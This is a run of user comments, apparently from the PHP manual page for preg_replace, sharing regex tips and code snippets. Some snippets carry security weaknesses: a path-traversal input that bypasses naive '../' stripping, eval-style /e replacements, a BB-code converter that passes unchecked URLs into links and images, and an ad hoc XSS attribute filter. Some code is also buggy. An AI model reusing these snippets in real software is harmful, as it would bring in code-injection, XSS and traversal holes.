denis_truffaut a t hotmail d o t com 24-Dec-2011 02:11
If you want to catch characters, as well european, russian, chinese, japanese, korean of whatever, just :
- use mb_internal_encoding('UTF-8');
- use preg_replace('`...`u', '...', $string) with the u (unicode) modifier

For further information, the complete list of preg_* modifiers could be found at :
http://php.net/manual/en/reference.pcre.pattern.modifiers.php
akarmenia at gmail dot com 23-Oct-2011 08:47
[Editor's note: in this case it would be wise to rely on the preg_quote() function instead which was added for this specific purpose]

If your replacement string has a dollar sign or a backslash. it may turn into a backreference accidentally! This will fix it.

I want to replace 'text' with '$12345' but this becomes a backreference to $12 (which doesn't exist) and then it prints the remaining '34'. The function down below will return a string that escapes the backreferences.

OUTPUT:
string(8) "some 345"
string(11) "some \12345"
string(8) "some 345"
string(11) "some $12345"

<?php

$a = 'some text';

// Either of these will backreference and fail
$b1 = '\12345'; // Should be '\\12345' to avoid backreference
$b2 = '$12345'; // Should be '\$12345' to avoid backreference

$d = array($b1, $b2);

foreach ($d as $b) {
    $result1 = preg_replace('#(text)#', $b, $a); // Fails
    var_dump($result1);
    $result2 = preg_replace('#(text)#', preg_escape_back($b), $a); // Succeeds
    var_dump($result2);
}

// Escape backreferences from string for use with regex
function preg_escape_back($string) {
    // Replace $ with \$ and \ with \\
    $string = preg_replace('#(?<!\\\\)(\\$|\\\\)#', '\\\\$1', $string);
    return $string;
}

?>
randall dot reynolds at rightnow dot com 28-Sep-2011 02:01
The instructions say, use \\\\ (four backslashes) to represent a backslash.  You can shorthand this and use \\\ (three backslashes) to represent a backslash, because of the way the parsers read it.

It appears the double escaping is required because the string is parsed twice, once by PHP and once by the regular expression generator. Thus it is expected that the PHP parser turns both instances above into \\ (two backslashes) for the PCRE parser.
erik dot stetina at gmail dot com 27-Sep-2011 12:25
simple function to remove comments from string

<?php
function remove_comments( & $string )
{
  $string = preg_replace("%(#|;|(//)).*%","",$string);
  $string = preg_replace("%/\*(?:(?!\*/).)*\*/%s","",$string); // google for negative lookahead
  return $string;
}
?>

USAGE:
<?php
$config = file_get_contents("config.cfg");
print "before:".$config;
remove_comments($config);
print "after:".$config;
?>

OUTPUT:
before:
/*
 *  this is config file
 */
; logdir
LOGDIR ./log/
// logfile
LOGFILE main.log
# loglevel
LOGLEVEL 3
after:

LOGDIR ./log/

LOGFILE main.log

LOGLEVEL 3
kosalasl at gmail dot com 22-Aug-2011 06:03
I wrote some useful function to display date format based on date function particular string. preg_replace function really help me to write this tiny code

<?php
function mysql2formatDate($strn,$outformat='n/j/Y'){

    return preg_replace("/(\d{4})-(\d{2})-(\d{2})/e","Date('$outformat',strtotime('$0'))",$strn);
}
?>
timitheenchanter 28-Jul-2011 10:34
If you have issues where preg_replace returns an empty string, please take a look at these two ini parameters:

pcre.backtrack_limit
pcre.recursion_limit

The default is set to 100K.  If your buffer is larger than this, look to increase these two values.
sreekanth at outsource-online dot net 19-Jul-2011 10:29
if your intention to code and decode mod_rewrite urls and handle it with php and mysql ,this should work

to convert to url
$url = preg_replace('/[^A-Za-z0-9_-]+/', '-', $string);

And to check in mysql with the url value,use the same expression discounting '-'.
first replace the url value  with php using preg_replace  and use with mysql REGEXP

$sql = "select * from table where fieldname_to_check REGEXP '".preg_replace("/-+/",'[^A-Za-z0-9_]+',$url)."'"
anyvie at devlibre dot fr 17-Jun-2011 11:11
A variable can handle a huge quantity of data but preg_replace can't.

Example :
<?php
$url = "ANY URL WITH LOTS OF DATA";

// We get all the data into $data
$data = file_get_contents($url);

// We just want to keep the content of <head>
$head = preg_replace("#(.*)<head>(.*?)</head>(.*)#is", '$2', $data);
?>

$head can have the desired content, or be empty, depends on the length of $data.

For this application, just add :
$data = substr($data, 0, 4096);
before using preg_replace, and it will work fine.
someuser at dot dot com 09-Jun-2011 01:10
Replacement of line numbers, with replacement limit per line.

Solution that worked for me.
I have a file with tasks listed each starting from number, and only starting number should be removed because forth going text has piles of numbers to be omitted.

56 Patient A of 46 years suffering ... ...
57 Newborn of 26 weeks was ...
58 Jane, having age 18 years recollects onsets of ...
...
587 Patient of 70 years ...

etc.

<?php
// Array obtained from file
$array = file($file, true);

// Decompile array with foreach loop
foreach($array as $value)
{
    //    Take away numbers 100-999
    //    Starting from biggest
    //
    //    %            Delimiter
    //    ^            Make match from beginning of line
    //    [0-9]        Range of numbers
    //    {3}        Multiplication of digit range (For tree digit numbers)
    //
    if(preg_match('%^[0-9]{3}%', $value))
    {
        // Re-assing to value its modified copy
        $value = preg_replace('%^[0-9]{3}%', '-HERE WAS XXX NUMBER-', $value, 1);
    }

    // Take away numbers 10-99
    elseif(preg_match('%^[0-9]{2}%', $value)) {
        $value = preg_replace('%^[0-9]{2}%', '-HERE WAS XX NUMBER-', $value, 1);
    }

    // Take away numbers 0-9
    elseif(preg_match('%^[0-9]%', $value)) {
        $value = preg_replace('%^[0-9]%', '-HERE WAS X NUMBER-', $value, 1);
    }

    // Build array back
    $arr[] = array($value);

    }
}
?>
craiga at craiga dot id dot au 16-May-2011 04:02
If there's a chance your replacement text contains any strings such as "$0.95", you'll need to escape those $n backreferences:

<?php
function escape_backreference($x)
{
    return preg_replace('/\$(\d)/', '\\\$$1', $x);
}
?>
me at perochak dot com 23-Feb-2011 06:57
If you would like to remove a tag along with the text inside it then use the following code.

<?php
preg_replace('/(<tag>.+?)+(<\/tag>)/i', '', $string);
?>

example
<?php $string='<span class="normalprice">55 PKR</span>'; ?>

<?php
$string = preg_replace('/(<span class="normalprice">.+?)+(<\/span>)/i', '', $string);
?>

This will results a null or empty string.

<?php
$string='My String <span class="normalprice">55 PKR</span>';

$string = preg_replace('/(<span class="normalprice">.+?)+(<\/span>)/i', '', $string);
?>

This will results a " My String"
nospam at probackup dot nl 19-Jan-2011 02:03
Warning: a common made mistake in trying to remove all characters except numbers and letters from a string, is to use code with a regex similar to preg_replace('[^A-Za-z0-9_]', '', ...). The output goes in an unexpected direction in case your input contains two double quotes.

echo preg_replace('[^A-Za-z0-9_]', '', 'D"usseldorfer H"auptstrasse')

D"usseldorfer H"auptstrasse

It is important to not forget a leading an trailing forward slash in the regex:

echo preg_replace('/[^A-Za-z0-9_]/', '', 'D"usseldorfer H"auptstrasse')

Dusseldorfer Hauptstrasse

PS An alternative is to use preg_replace('/\W/', '', $t) for keeping all alpha numeric characters including underscores.
ude dot mpco at wotsrabt dot maps-on 08-Dec-2010 07:30
I find it useful to output HTML form names to the user from time to time while going through the $_GET or $_POST on a user's submission and output keys of the GET or POST array... the only problem being in the name attribute I follow common programming guidelines and have names like the following: eventDate, eventTime, userEmail, etc. Not great to just output to the user-- so I came up with this function. It just adds a space before any uppercase letter in the string.

<?php
function caseSwitchToSpaces( $stringVariableName )
{

$pattern = '/([A-Z])/';
$replacement = ' ${1}';

return preg_replace( $pattern, $replacement, $stringVariableName );
}

//ex.
echo( caseSwitchToSpaces( "helloWorld" ) );
?>

would output:

"hello World"

You could also do title-style casing to it if desired so the first word isn't lowercase.
Terminux (dot) anonymous at gmail 04-Dec-2010 06:58
This function will strip all the HTML-like content in a string.
I know you can find a lot of similar content on the web, but this one is simple, fast and robust. Don't simply use the built-in functions like strip_tags(), they dont work so good.

Careful however, this is not a correct validation of a string ; you should use additional functions like mysql_real_escape_string and filter_var, as well as custom tests before putting a submission into your database.

<?php

$html = <<<END
<div id="function.preg-split" class="refentry"> Bonjour1 \t
<div class="refnamediv"> Bonjour2 \t
<h1 class="refname">Bonjour3 \t</h1>
<h1 class=""">Bonjour4 \t</h1>
<h1 class="*%1">Bonjour5 \t</h1>
<body>Bonjour6 \t<//body>>
</ body>Bonjour7 \t<////        body>>
<
a href="image.php" alt="trans" /        >
some leftover text...
     < DIV class=noCompliant style = "text-align:left;" >
... and some other ...
< dIv > < empty>  </ empty>
  <p> This is yet another text <br  >
     that wasn't <b>compliant</b> too... <br   />
     </p>
 <div class="noClass" > this one is better but we don't care anyway </div ><P>
    <input   type= "text"  name ='my "name' value  = "nothin really." readonly>
end of paragraph </p> </Div>   </div>   some trailing text
END;

// This echoes correctly all the text that is not inside HTML tags
$html_reg = '/<+\s*\/*\s*([A-Z][A-Z0-9]*)\b[^>]*\/*\s*>+/i';
echo htmlentities( preg_replace( $html_reg, '', $html ) );

// This extracts only a small portion of the text
echo htmlentities(strip_tags($html));

?>
sergei dot garrison at gmail dot com 09-Mar-2010 10:40
If you want to add simple rich text functionality to HTML input fields, preg_replace can be quite handy.

For example, if you want users to be able to bold text by typing *text* or italicize it by typing _text_, you can use the following function.

<?php
function encode(&$text) {
    $text = preg_replace('/\*([^\*]+)\*/', '<b>\1</b>', $text);
    $text = preg_replace('/_([^_]+)_/', '<i>\1</i>', $text);
    return $text;
    }
?>

This works for nested tags, too, although it will not fix nesting mistakes.

To make this function more efficient, you could put the delimiters (* and _, in this case) and their HTML tag equivalents in an array and loop through them.
hello at weblap dot ro 06-Mar-2010 01:10
Post slug generator, for creating clean urls from titles.
It works with many languages.

<?php
function remove_accent($str)
{
  $a = array('À', 'Á', 'Â', 'Ã', 'Ä', 'Å', 'Æ', 'Ç', 'È', 'É', 'Ê', 'Ë', 'Ì', 'Í', 'Î', 'Ï', 'Ð', 'Ñ', 'Ò', 'Ó', 'Ô', 'Õ', 'Ö', 'Ø', 'Ù', 'Ú', 'Û', 'Ü', 'Ý', 'ß', 'à', 'á', 'â', 'ã', 'ä', 'å', 'æ', 'ç', 'è', 'é', 'ê', 'ë', 'ì', 'í', 'î', 'ï', 'ñ', 'ò', 'ó', 'ô', 'õ', 'ö', 'ø', 'ù', 'ú', 'û', 'ü', 'ý', 'ÿ', 'Ā', 'ā', 'Ă', 'ă', 'Ą', 'ą', 'Ć', 'ć', 'Ĉ', 'ĉ', 'Ċ', 'ċ', 'Č', 'č', 'Ď', 'ď', 'Đ', 'đ', 'Ē', 'ē', 'Ĕ', 'ĕ', 'Ė', 'ė', 'Ę', 'ę', 'Ě', 'ě', 'Ĝ', 'ĝ', 'Ğ', 'ğ', 'Ġ', 'ġ', 'Ģ', 'ģ', 'Ĥ', 'ĥ', 'Ħ', 'ħ', 'Ĩ', 'ĩ', 'Ī', 'ī', 'Ĭ', 'ĭ', 'Į', 'į', 'İ', 'ı', 'Ĳ', 'ĳ', 'Ĵ', 'ĵ', 'Ķ', 'ķ', 'Ĺ', 'ĺ', 'Ļ', 'ļ', 'Ľ', 'ľ', 'Ŀ', 'ŀ', 'Ł', 'ł', 'Ń', 'ń', 'Ņ', 'ņ', 'Ň', 'ň', 'ŉ', 'Ō', 'ō', 'Ŏ', 'ŏ', 'Ő', 'ő', 'Œ', 'œ', 'Ŕ', 'ŕ', 'Ŗ', 'ŗ', 'Ř', 'ř', 'Ś', 'ś', 'Ŝ', 'ŝ', 'Ş', 'ş', 'Š', 'š', 'Ţ', 'ţ', 'Ť', 'ť', 'Ŧ', 'ŧ', 'Ũ', 'ũ', 'Ū', 'ū', 'Ŭ', 'ŭ', 'Ů', 'ů', 'Ű', 'ű', 'Ų', 'ų', 'Ŵ', 'ŵ', 'Ŷ', 'ŷ', 'Ÿ', 'Ź', 'ź', 'Ż', 'ż', 'Ž', 'ž', 'ſ', 'ƒ', 'Ơ', 'ơ', 'Ư', 'ư', 'Ǎ', 'ǎ', 'Ǐ', 'ǐ', 'Ǒ', 'ǒ', 'Ǔ', 'ǔ', 'Ǖ', 'ǖ', 'Ǘ', 'ǘ', 'Ǚ', 'ǚ', 'Ǜ', 'ǜ', 'Ǻ', 'ǻ', 'Ǽ', 'ǽ', 'Ǿ', 'ǿ');
  $b = array('A', 'A', 'A', 'A', 'A', 'A', 'AE', 'C', 'E', 'E', 'E', 'E', 'I', 'I', 'I', 'I', 'D', 'N', 'O', 'O', 'O', 'O', 'O', 'O', 'U', 'U', 'U', 'U', 'Y', 's', 'a', 'a', 'a', 'a', 'a', 'a', 'ae', 'c', 'e', 'e', 'e', 'e', 'i', 'i', 'i', 'i', 'n', 'o', 'o', 'o', 'o', 'o', 'o', 'u', 'u', 'u', 'u', 'y', 'y', 'A', 'a', 'A', 'a', 'A', 'a', 'C', 'c', 'C', 'c', 'C', 'c', 'C', 'c', 'D', 'd', 'D', 'd', 'E', 'e', 'E', 'e', 'E', 'e', 'E', 'e', 'E', 'e', 'G', 'g', 'G', 'g', 'G', 'g', 'G', 'g', 'H', 'h', 'H', 'h', 'I', 'i', 'I', 'i', 'I', 'i', 'I', 'i', 'I', 'i', 'IJ', 'ij', 'J', 'j', 'K', 'k', 'L', 'l', 'L', 'l', 'L', 'l', 'L', 'l', 'l', 'l', 'N', 'n', 'N', 'n', 'N', 'n', 'n', 'O', 'o', 'O', 'o', 'O', 'o', 'OE', 'oe', 'R', 'r', 'R', 'r', 'R', 'r', 'S', 's', 'S', 's', 'S', 's', 'S', 's', 'T', 't', 'T', 't', 'T', 't', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'W', 'w', 'Y', 'y', 'Y', 'Z', 'z', 'Z', 'z', 'Z', 'z', 's', 'f', 'O', 'o', 'U', 'u', 'A', 'a', 'I', 'i', 'O', 'o', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'A', 'a', 'AE', 'ae', 'O', 'o');
  return str_replace($a, $b, $str);
}

function post_slug($str)
{
  return strtolower(preg_replace(array('/[^a-zA-Z0-9 -]/', '/[ -]+/', '/^-|-$/'),
  array('', '-', ''), remove_accent($str)));
}
?>

Example: post_slug(' -Lo#&@rem  IPSUM //dolor-/sit - amet-/-consectetur! 12 -- ')
will output: lorem-ipsum-dolor-sit-amet-consectetur-12
roscoe-p-coltrane 28-Feb-2010 07:43
Reading arguments against variables in CSS got me to thinking.

Process your CSS files in a fashion similar to the following. This particular routine is certainly not the most efficient way, but is what I came up with on the spur of the moment. The prefix token is entirely arbitrary - everything between the leading colon and terminating semicolon is the target. In this way, default values can be put in place, and the constant identifiers simply left as comments, should the stylesheet be used without processing; this would also inhibit your editor from emitting errors about your odd syntax. The declaration pattern at the top assumes something like this:

/*@css_const
 [
     bgc_a=#ccccee,
        fc_a=#000099,
     bgc_b=#5555cc,
     bgc_c=#eeeeff,
     bgc_d=#599fee
 ]
*/

...within the target CSS file.

Usage like so:

.Element {
     font-size:10pt;
     color:#000/*fc_a*/;
     background-color:#fff/*bgc_a*/;
}

And then...

<?php
$dec_pat = '/^\/\*\@css_const\s+\[(.*)\]\s+\*\//Ums';
preg_match_all($dec_pat,$css,$m);
$lhs = array();
$rhs = array();
foreach($m[1] as &$p) {
    $p = explode(",",$p);
    foreach($p as &$q) {
        list($k,$v) = explode("=",trim($q));
        $lhs[] = '/(\w+\:).*\/\*' . $k . '\*\/;$/Um';
        $rhs[] = '\1' . $v . ';';
    }
}
$css = preg_replace($lhs,$rhs,$css);
// spit it out or return it; whatever
?>

...resulting, of course, in:

.Element {
     font-size:10pt;
     color:#000099;
     background-color:#ccccee;
}

Again, efficiency was not the immediate goal, so please don't slay me...
arie dot benichou at gmail dot com 09-Mar-2009 09:50
<?php
//Be carefull with utf-8, even with unicode and utf-8 support enabled, a pretty odd bug occurs depending on your operating system
$str = "Hi, my name is Arié!<br />";
echo preg_replace('#\bArié\b#u', 'Gontran', $str);
//on windows system, output is "Hi, my name is Gontran<br />"
//on unix system, output is "Hi, my name is Arié<br />"
echo preg_replace('#\bArié(|\b)#u', 'Gontran', $str);
//on windows and unix system, output is "Hi, my name is Gontran<br />"
arkani at iol dot pt 04-Mar-2009 08:00
Because i search a lot 4 this:

The following should be escaped if you are trying to match that character

\ ^ . $ | ( ) [ ]
* + ? { } ,

Special Character Definitions
\ Quote the next metacharacter
^ Match the beginning of the line
. Match any character (except newline)
$ Match the end of the line (or before newline at the end)
| Alternation
() Grouping
[] Character class
* Match 0 or more times
+ Match 1 or more times
? Match 1 or 0 times
{n} Match exactly n times
{n,} Match at least n times
{n,m} Match at least n but not more than m times
More Special Character Stuff
\t tab (HT, TAB)
\n newline (LF, NL)
\r return (CR)
\f form feed (FF)
\a alarm (bell) (BEL)
\e escape (think troff) (ESC)
\033 octal char (think of a PDP-11)
\x1B hex char
\c[ control char
\l lowercase next char (think vi)
\u uppercase next char (think vi)
\L lowercase till \E (think vi)
\U uppercase till \E (think vi)
\E end case modification (think vi)
\Q quote (disable) pattern metacharacters till \E
Even More Special Characters
\w Match a "word" character (alphanumeric plus "_")
\W Match a non-word character
\s Match a whitespace character
\S Match a non-whitespace character
\d Match a digit character
\D Match a non-digit character
\b Match a word boundary
\B Match a non-(word boundary)
\A Match only at beginning of string
\Z Match only at end of string, or before newline at the end
\z Match only at end of string
\G Match only where previous m//g left off (works only with /g)
akam AT akameng DOT com 18-Feb-2009 01:02
<?php
$converted    =
array(
//3 of special chars

'/(;)/ie',
'/(#)/ie',
'/(&)/ie',

//MySQL reserved words!
//Check mysql website!
'/(ACTION)/ie', '/(ADD)/ie', '/(ALL)/ie', '/(ALTER)/ie', '/(ANALYZE)/ie', '/(AND)/ie', '/(AS)/ie', '/(ASC)/ie',

//remaining of special chars
'/(<)/ie', '/(>)/ie', '/(\.)/ie', '/(,)/ie', '/(\?)/ie', '/(`)/ie', '/(!)/ie', '/(@)/ie', '/(\$)/ie', '/(%)/ie', '/(\^)/ie', '/(\*)/ie', '/(\()/ie', '/(\))/ie', '/(_)/ie', '/(-)/ie', '/(\+)/ie',
'/(=)/ie', '/(\/)/ie', '/(\|)/ie', '/(\\\)/ie', "/(')/ie", '/(")/ie', '/(:)/'
);

$input_text = preg_replace($converted, "UTF_to_Unicode('\\1')", $text);

function UTF_to_Unicode($data){

//return $data;
}
?>
The above example useful for filtering input data, then saving into mysql database, it's not need tobe decoded again, just use UTF-8 as charset.
Please Note escaping special chars between delimiter..
Svoop 10-Feb-2009 02:41
I have written a short introduction and a colorful cheat sheet for Perl Compatible Regular Expressions (PCRE):

http://www.bitcetera.com/en/techblog/2008/04/01/regex-in-a-nutshell/
mdrisser at gmail dot com 28-Nov-2008 07:13
An alternative to the method suggested by sheri is to remember that the regex modifier '$' only looks at the end of the STRING, the example given is a single string consisting of multiple lines.

Try:
<?php
// Following is 1 string containing 3 lines
$s = "Testing, testing.\r\n"
   . "Another testing line.\r\n"
   . "Testing almost done.";

echo preg_replace('/\.\\r\\n/m', '@\r\n', $s);
?>

This results in the string:
Testing, testing@\r\nAnother testing line@\r\nTesting almost done.
jette at nerdgirl dot dk 19-Nov-2008 01:47
I use this to prevent users from overdoing repeated text. The following function only allows 3 identical characters at a time and also takes care of repetitions with whitespace added.

This means that 'haaaaaaleluuuujaaaaa' becomes 'haaaleluuujaaa' and 'I am c o o o o o o l' becomes 'I am c o o o l'

<?php
//Example of user input
$str = "aaaaaaaaaaabbccccccccaaaaad d d d   d      d d ddde''''''''''''";

function stripRepeat($str) {
  //Do not allow repeated whitespace
  $str = preg_replace("/(\s){2,}/",'$1',$str);
  //Result: aaaaaaaaaaabbccccccccaaaaad d d d d d d ddde''''''''''''

  //Do not allow more than 3 identical characters separated by any whitespace
  $str = preg_replace('{( ?.)\1{4,}}','$1$1$1',$str);
  //Final result: aaabbcccaaad d d ddde'''

  return $str;
}
?>

To prevent any repetitions of characters, you only need this:

<?php
$str = preg_replace('{(.)\1+}','$1',$str);
//Result: abcad d d d d d d de'
?>
7r6ivyeo at mail dot com 17-Nov-2008 06:25
String to filename:

<?php
function string_to_filename($word) {
    $tmp = preg_replace('/^\W+|\W+$/', '', $word); // remove all non-alphanumeric chars at begin & end of string
    $tmp = preg_replace('/\s+/', '_', $tmp); // compress internal whitespace and replace with _
    return strtolower(preg_replace('/\W-/', '', $tmp)); // remove all non-alphanumeric chars except _ and -
}
?>

Returns a usable & readable filename.
tal at ashkenazi dot co dot il 14-Sep-2008 10:46
after long time of tring get rid of \n\r and <BR> stuff i've came with this...
(i done some changes in clicklein() function...)

<?php
    function clickable($url){
        $url                                    =    str_replace("\\r","\r",$url);
        $url                                    =    str_replace("\\n","\n<BR>",$url);
        $url                                    =    str_replace("\\n\\r","\n\r",$url);

        $in=array(
        '`((?:https?|ftp)://\S+[[:alnum:]]/?)`si',
        '`((?<!//)(www\.\S+[[:alnum:]]/?))`si'
        );
        $out=array(
        '<a href="$1"  rel=nofollow>$1</a> ',
        '<a href="http://$1" rel=\'nofollow\'>$1</a>'
        );
        return preg_replace($in,$out,$url);
    }

?>
dyer85 at gmail dot com 29-Aug-2008 04:41
There seems to be some unexpected behavior when using the /m modifier when the line terminators are win32 or mac format.

If you have a string like below, and try to replace dots, the regex won't replace correctly:

<?php
$s = "Testing, testing.\r\n"
   . "Another testing line.\r\n"
   . "Testing almost done.";

echo preg_replace('/\.$/m', '.@', $s); // only last . replaced
?>

The /m modifier doesn't seem to work properly when CRLFs or CRs are used. Make sure to convert line endings to LFs (*nix format) in your input string.
halityesil [ at at] globya [ dot dot] net 31-Jul-2008 03:08
<?PHP

function strip_tags_attributes($sSource, $aAllowedTags = FALSE, $aDisabledAttributes = FALSE, $aAllowedProperties = 'font|font-size|font-weight|color' . '|text-align|text-decoration|margin|margin-left' . '|margin-top|margin-bottom|margin-right|padding' . '|padding-top|padding-left|padding-right|padding-bottom' . '|width|height'){

   if( !is_array( $aDisabledAttributes ) ){
      $aDisabledAttributes = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavaible', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragdrop', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterupdate', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmoveout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
   }

   $sSource = stripcslashes( $sSource );

   $sSource = strip_tags( $sSource, $aAllowedTags );

   if( empty($aDisabledAttributes) ){
      return $sSource;
   }

   $aDisabledAttributes = @ implode('|', $aDisabledAttributes);

   $sSource = preg_replace('/<(.*?)>/ie', "'<' . preg_replace(array('/javascript:[^\"\']*/i', '/(" . $aDisabledAttributes . ")[ \\t\\n]*=[ \\t\\n]*[\"\'][^\"\']*[\"\']/i', '/\s+/'), array('', '', ' '), stripslashes('\\1')) . '>'", $sSource );
   $sSource = preg_replace('/\s(' . $aDisabledAttributes . ').*?([\s\>])/', '\\2', $sSource);

   $regexp = '@([^;"]+)?(?<!'. $aAllowedProperties .'):(?!\/\/(.+?)\/)((.*?)[^;"]+)(;)?@is';
   $sSource = preg_replace($regexp, '', $sSource);
   $sSource = preg_replace('@[a-z]*=""@is', '', $sSource);

   return $sSource;
}

?>

Online resource help skype name : globya

good luck !
Anonymous 30-Jul-2008 06:21
People using functions like scandir with user input and protecting against "../" by using preg_replace make sure you run ir recursivly untill preg_match no-long finds it, because if you don't the following can happen.

If a user gives the path:
"./....//....//....//....//....//....//....//"
then your script detects every "../" and removes them leaving:
"./../../../../../../../"
Which is proberly going back enough times to show root.

I just found this vunrability in an old script of mine, which was written several years ago.

Always do:
<?php
while( preg_match( [expression], $input ) )
{
   $input = preg_replace( [expression], "", $input );
}
?>
marcin at pixaltic dot com 26-Jul-2008 12:56
<?php
    //:::replace with anything that you can do with searched string:::
    //Marcin Majchrzak
    //pixaltic.com

    $c = "2 4 8";
    echo ($c); //display:2 4 8

    $cp = "/(\d)\s(\d)\s(\d)/e"; //pattern
    $cr = "'\\3*\\2+\\1='.(('\\3')*('\\2')+('\\1'))"; //replece
    $c = preg_replace($cp, $cr, $c);
    echo ($c); //display:8*4+2=34
?>
David 11-Jul-2008 01:59
Take care when you try to strip whitespaces out of an UTF-8 text. Using something like:

<?php
$text = preg_replace( "{\s+}", ' ', $text );
?>

brokes in my case the letter à which is hex c3a0. But a0 is a whitespace. So use

<?php
$text = preg_replace( "{[ \t]+}", ' ', $text );
?>

to strip all spaces and tabs, or better, use a multibyte function like mb_ereg_replace.
akniep at rayo dot info 08-Jul-2008 12:22
preg_replace (and other preg-functions) return null instead of a string when encountering problems you probably did not think about!
-------------------------

It may not be obvious to everybody that the function returns NULL if an error of any kind occurres. An error I happen to stumple about quite often was the back-tracking-limit:
http://de.php.net/manual/de/pcre.configuration.php
#ini.pcre.backtrack-limit

When working with HTML-documents and their parsing it happens that you encounter documents that have a length of over 100.000 characters and that may lead to certain regular-expressions to fail due the back-tracking-limit of above.

A regular-expression that is ungreedy ("U", http://de.php.net/manual/de/reference.pcre.pattern.modifiers.php) often does the job, but still: sometimes you just need a greedy regular expression working on long strings ...

Since, an unhandled return-value of NULL usually creates a consecutive error in the application with unwanted and unforeseen consequences, I found the following solution to be quite helpful and at least save the application from crashing:

<?php

$string_after = preg_replace( '/some_regexp/', "replacement", $string_before );

// if some error occurred we go on working with the unchanged original string
if (PREG_NO_ERROR !== preg_last_error())
{
    $string_after = $string_before;

    // put email-sending or a log-message here
} //if

// free memory
unset( $string_before );

?>

You may or should also put a log-message or the sending of an email into the if-condition in order to get informed, once, one of your regular-expressions does not have the effect you desired it to have.
da_pimp2004_966 at hotmail dot com 21-Jun-2008 08:09
A simple BB like thing..

<?php
function AddBB($var) {
        $search = array(
                '/\[b\](.*?)\[\/b\]/is',
                '/\[i\](.*?)\[\/i\]/is',
                '/\[u\](.*?)\[\/u\]/is',
                '/\[img\](.*?)\[\/img\]/is',
                '/\[url\](.*?)\[\/url\]/is',
                '/\[url\=(.*?)\](.*?)\[\/url\]/is'
                );

        $replace = array(
                '<strong>$1</strong>',
                '<em>$1</em>',
                '<u>$1</u>',
                '<img src="$1" />',
                '<a href="$1">$1</a>',
                '<a href="$1">$2</a>'
                );

        $var = preg_replace ($search, $replace, $var);
        return $var;
}
?>
Michael W 17-Apr-2008 12:35
For filename tidying I prefer to only ALLOW certain characters rather than converting particular ones that we want to exclude. To this end I use ...

<?php
  $allowed = "/[^a-z0-9\\040\\.\\-\\_\\\\]/i";
  preg_replace($allowed,"",$str));
?>

Allows letters a-z, digits, space (\\040), hyphen (\\-), underscore (\\_) and backslash (\\\\), everything else is removed from the string.
php-comments-REMOVE dot ME at dotancohen dot com 29-Feb-2008 09:02
Below is a function for converting Hebrew final characters to their
normal equivelants should they appear in the middle of a word.
The /b argument does not treat Hebrew letters as part of a word,
so I had to work around that limitation.

<?php

$text="עברית מבולגנת";

function hebrewNotWordEndSwitch ($from, $to, $text) {
   $text=
    preg_replace('/'.$from.'([א-ת])/u','$2'.$to.'$1',$text);
   return $text;
}

do {
   $text_before=$text;
   $text=hebrewNotWordEndSwitch("ך","כ",$text);
   $text=hebrewNotWordEndSwitch("ם","מ",$text);
   $text=hebrewNotWordEndSwitch("ן","נ",$text);
   $text=hebrewNotWordEndSwitch("ף","פ",$text);
   $text=hebrewNotWordEndSwitch("ץ","צ",$text);
}   while ( $text_before!=$text );

print $text; // עברית מסודרת!

?>

The do-while is necessary for multiple instances of letters, such
as "אנני" which would start off as "אןןי". Note that there's still the
problem of acronyms with gershiim but that's not a difficult one
to solve. The code is in use at http://gibberish.co.il which you can
use to translate wrongly-encoded Hebrew, transliterize, and some
other Hebrew-related functions.

To ensure that there will be no regular characters at the end of a
word, just convert all regular characters to their final forms, then
run this function. Enjoy!
ulf dot reimers at tesa dot com 07-Dec-2007 07:28
Hi,

as I wasn't able to find another way to do this, I wrote a function converting any UTF-8 string into a correct NTFS filename (see http://en.wikipedia.org/wiki/Filename).

<?php
function strToNTFSFilename($string)
{
  $reserved = preg_quote('\/:*?"<>', '/');
  return preg_replace("/([\\x00-\\x1f{$forbidden}])/e", "_", $string);
}
?>

It converts all control characters and filename characters which are reserved by Windows ('\/:*?"<>') into an underscore.
This way you can safely create an NTFS filename out of any UTF-8 string.
mike dot hayward at mikeyskona dot co dot uk 18-Oct-2007 05:49
Hi.
Not sure if this will be a great help to anyone out there, but thought i'd post just in case.
I was having an Issue with a project that relied on $_SERVER['REQUEST_URI']. Obviously this wasn't working on IIS.
(i am using mod_rewrite in apache to call up pages from a database and IIS doesn't set REQUEST_URI). So i knocked up this simple little preg_replace to use the query string set by IIS when redirecting to a PHP error page.

<?php
//My little IIS hack :)
if(!isset($_SERVER['REQUEST_URI'])){
  $_SERVER['REQUEST_URI'] = preg_replace( '/404;([a-zA-Z]+:\/\/)(.*?)\//i', "/" , $_SERVER['QUERY_STRING'] );
}
?>

Hope this helps someone else out there trying to do the same thing :)
sternkinder at gmail dot com 24-Aug-2007 12:10
From what I can see, the problem is, that if you go straight and substitute all 'A's wit 'T's you can't tell for sure which 'T's to substitute with 'A's afterwards. This can be for instance solved by simply replacing all 'A's by another character (for instance '_' or whatever you like), then replacing all 'T's by 'A's, and then replacing all '_'s (or whatever character you chose) by 'A's:

<?php
$dna = "AGTCTGCCCTAG";
echo str_replace(array("A","G","C","T","_","-"), array("_","-","G","A","T","C"), $dna); //output will be TCAGACGGGATC
?>

Although I don't know how transliteration in perl works (though I remember that is kind of similar to the UNIX command "tr") I would suggest following function for "switching" single chars:

<?php
function switch_chars($subject,$switch_table,$unused_char="_") {
